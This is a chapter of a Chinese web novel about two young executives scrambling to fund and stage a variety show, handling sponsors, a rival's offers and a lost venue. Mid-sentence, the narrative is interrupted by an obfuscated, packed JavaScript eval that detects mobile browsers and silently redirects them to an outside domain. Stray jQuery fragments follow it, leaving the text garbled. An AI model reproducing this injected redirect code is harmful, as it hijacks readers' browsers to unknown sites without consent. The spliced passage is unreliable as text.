次日上午十点，星河娱乐。
晨光如瀑，会议室里弥漫着浓缩咖啡的焦苦。王晅的Gucci乐福鞋嚣张地架在会议桌上，iPad弹窗像一群发情的电子蜂般疯狂闪烁。
“雪佛兰答应追加三百万，条件是让他们的新款SUV在淘汰赛环节出镜，要求至少有五次全景展示。”他晃着镶钻的Apple Pencil，“但雅诗兰黛今早发疯，发来补充协议，要求独家美妆权益，这和雪佛兰的汽车植入时段重叠了。”
杨晟将冰美式灌进喉咙，苦涩感压住翻涌的焦躁。
他的钢笔尖在预算表上戳出个墨点。抬手扯开衬衫第二颗纽扣，空调冷风灌进领口，激得后颈未愈的擦伤微微发痒。
投影幕布上的数字像贪婪的食金兽——制作费吞掉两千万，导师团队薪酬吃掉八百万，光是外景公园的水上舞台搭建就占了总预算的三分之一。
“把汽车类赞助商单独划出权益包。”钢笔尖划过雪佛兰的LOGO，在纸面拖出长长的裂痕，“告诉雅诗兰黛，我们可以在第三期设计美妆主题挑战赛。”
他抓起咖啡又灌了一口：“但所有参赛艺人的妆容必须全套使用他们的产品，连定妆喷雾的瓶身LOGO都要给特写。”
会议室门突然被敲响，接着王晅的助理捧着个礼盒，笑眼弯成月牙：“王总，这是李少让人送过来，听说节目缺飞行嘉宾，特意准备的。”
王晅看了眼杨晟，掀开的盒盖里，某顶流歌手未发行的专辑母带泛着冷光。
杨晟心里低哼一声，没说什么。
王晅吹了声口哨，Apple Pencil在指尖转出残影：“还是兄弟够意思啊，难不成他也对娱乐圈感兴趣？”
杨晟盯着母带上熟悉的唱片公司钢印，上周他亲自带着自家艺人去谈的录音棚档期，就是被这家公司临时截胡。此刻那枚钢印像枚嘲笑他的图章，刺得眼底生疼。
他推开礼盒的动作太急，咖啡渍在合同上晕成狰狞的爪印。
“哎，你去转告李少。”杨晟抽了张纸巾慢条斯理擦拭桌案，“导师席还缺个毒舌评委，李副局要是肯屈尊，每期可以给他留五分钟怼人镜头。”
王晅：“……”
助理的笑容僵了半秒，很快又甜得能滴出蜜：“李少还交代说，要是节目需要救场，他随时能找来最近爆火的那位男艺人……以及三千万应急资金入场。”
王晅的乐福鞋‘咚’地砸回地面。
杨晟的钢笔尖直接戳穿了预算表，墨水在场地租赁费那栏洇出黑洞。昨夜财务总监周慕云的汇报还在脑海里回荡——维港澜晟的总账户余额，已经不足以支撑运转了。
“李少的好意心领了。”杨晟把染黑的预算表团成球，抛物线投入角落的垃圾桶，“不过我们这庙小，供不起自带香火的大佛。”
助理的高跟鞋声消失在走廊后，王晅突然笑倒在转椅上。
“你俩这梁子算是结死了。”王晅从垃圾桶里捡起来纸团展开，突然笑倒在转椅上，“李砚这是要逼你低头啊。”
杨晟扯松领带，目光扫过重新亮起的投影幕布，忽然觉得这间玻璃会议室像个巨大的鱼缸，而自己就是那条被四面八方盯着的猎物。
雅诗兰黛的补充协议正在自动翻页，条款里藏着个致命的陷阱——若节目中出现其他美妆品牌，需赔付五倍赞助金。
他突然抓起红色马克笔，在“其他品牌”后面补上“汽车类除外”五个字。
“给雪佛兰的植入环节加上雨戏。”钢笔尖敲了敲汽车LOGO，“让他们的SUV在暴雨里冲过水潭，车灯要穿透雨幕照在艺人脸上。”他转头看向王晅，“去跟雅诗兰黛说，水花溅在车窗上的瞬间，镜头会给艺人补妆的粉饼特写。”
王晅的Apple Pencil悬在半空：“你这是在钢丝上跳探戈。”
“总好过被李砚的施舍勒死强。”
杨晟扯开第四颗纽扣，锁骨处纹身露出来，脖子里的翡翠貔貅挂坠撞在桌沿，
会议室的智能玻璃突然调暗，正午的烈阳被滤成琥珀色。
液晶屏幕的冷光将杨晟的侧脸切割成明暗交错的碎片。他盯着预算表上被砍得支离破碎的数字——制作费削去三成，导师薪酬缩水两百万，连艺人公寓都从瑰丽降级成了四星级。
钢笔尖悬在“餐标”那一栏，行政助理推着外卖箱撞开了门：“王总，盒饭到了。”
劣质塑料盒堆在会议桌尽头，麻婆豆腐的红油渗过盒底，在实木桌面上晕出狰狞的油渍。王晅用钢笔挑起盒盖，酸笋的馊味混着空调冷风灌入鼻腔。
“这水准的盒饭，艺人们吃三天就得集体罢演。”
杨晟撕开一次性竹筷，辣油滴在修改中的合同上：“跟餐饮赞助商，每期正片里插入十五秒他们的LOGO动画。”他扒拉着糊掉的米饭，“再跟他们要两百箱自热火锅，塞进观众抽奖环节。”
“可以啊杨少。”王晅的Apple Pencil在指尖转出残影，“不愧是娱乐帝国养出来的少爷，这空手套白狼的功夫...”
杨晟仰头灌下最后一口冰美式，喉结滚动时扯动未愈的擦伤：“王总要是经历过我那些破事……”他顿了顿，咖啡杯底磕出清脆的响，“手段怕是比我还脏。”
王晅在他的调侃中听出了一些落魄，如今他和杨晟之间已经不避讳谈起杨家那些见不得光的事儿，只能说，世事难料啊。
会议室突然安静。
杨晟的目光落在幕布上，那些数字像是一张张杨家人扭曲的脸，大哥摔在他脸上的财务报表，二房那句“野种也配碰家族生意”，还有母亲葬礼那天，父亲转身离去的背影。
他低头看着手中的盒饭，忽然觉得喉咙发紧。整个杨家唯一对他好的人就是母亲。
可现在，那个家已经支离破碎。
“杨晟？”王晅的声音将他拉回现实。
杨晟抬起头，发现王晅正用一种复杂的眼神看着自己。他扯了扯嘴角，露出一个勉强的笑容：“没事啦，就是有点累了。”
王晅没再说什么，只是默默地把自己的盒饭推到他面前：“多吃点，下午还要跟平台方扯皮。”
杨晟看着眼前的盒饭，毫不客气地骂道：“你个扑街仔，自己不吃的施舍我啊？！”
王晅被拆穿，笑着躲开了杨晟扔过来的资料夹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448293|168677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，文件夹撞碎在落地窗上，惊飞窗外栖息的灰鸽。
……
叶观澜和杨晟的分工很明确，一个明，一个暗。虽说叶观澜有绝对的话语权，但他也只在投资项目上发表意见，像娱乐圈影视行业，他不参与，也不露面，一切交给杨晟做主。
这档节目的赞助商是王晅找来的，杨晟本想自己也投资一些，这样一来，俩人都能在节目里塞自家的艺人，目的自然是为了捧新人。
这一点，杨晟还是有信心的，再怎么说，他也是启荣集团的三少爷，耳目渲染这么多年，不可能一点本事都没有。
但奈何他现在没钱了，能启动的资金全部投入在了现有的项目运转中，手里可用的已经没有了。
深夜的剪辑室弥漫着红牛与焦虑的刺鼻气息。
杨晟扯开衬衫纽扣，液晶屏的蓝光在他眼底烧出两团鬼火。
监控画面里，过气影后正对着镜头哭诉离婚经历，睫毛膏晕染成两片黑羽——这是节目组设计的第一波热搜素材，此刻却像讽刺剧般荒诞。
“杨总！”执行导演举着还在通话中的手机冲进来，运动鞋底沾着走廊散落的彩带碎屑，“朝阳公园的批文被卡了！消防说水4上舞台的逃生通道宽度差0.5米！”
钢笔“咔嚓”断成两截。这场地是王晅拍胸脯保证三天搞定的，现在却成了卡住咽喉的鱼刺。杨晟抓起车钥匙，后腰久坐的钝痛让他踉跄了一下。
这具被酒精和夜生活掏空的身体，正在为他的野心付出代价。
王晅这小子有点成就感就会飘，完全没有叶观澜的沉稳。可转眼又一想，他们这个圈子，这个年龄，有几个像叶观澜这样。
他得去找其它场地才行，王晅这两天忙，下期没场地拍摄才闹笑话。
午夜寒风灌进敞开的衣领，坐久的后腰就像拖着一辆牛车，疼的难忍。
停车场转角传来引擎轰鸣，王晅的玛莎拉蒂一个漂移横在出口，车窗降下，露出他挂着黑眼圈的半张脸。
“通州影视基地的刘总刚回话，B区摄影棚能腾出两周档期。”他甩过来串钥匙，钥匙扣上的招财猫沾着KTV的闪粉，“现在过去还能赶上他们夜班施工队。”
杨晟攥着钥匙，一度无语，真想把钥匙甩他脸上：“你他妈早安排好了不提前说。”
“昨儿陪刘总喝了三瓶茅台。”王晅抹了把脸，须后水混着酒气扑面而来，“那老狐狸非要我唱完《向天再借五百年》才肯签合同，也不知道什么癖好。”他指了指后座堆成山的伴手礼，“赶紧的，后备箱还有二十盒阳澄湖大闸蟹要送道具组。”
杨晟把他从驾驶室赶下来，自己坐进去，俩人一起离开了。
这些天他们像两头困兽，被品牌方、平台方和艺人经纪撕扯得血肉模糊。而此刻后座那堆阳澄湖大闸蟹，正在保温箱里吐着可笑的泡沫。
他以前从不沾手家族生意，整日里只知在维港游艇上醉生梦死。如今亲自操盘公司，才明白账本上的数字竟比夜场的烈酒还要烧喉。
可他已经不再是那个在维港边意气风发的少爷了。现在的他，必须学会在这个陌生的城市里生存下去，学会在钢丝上跳探戈。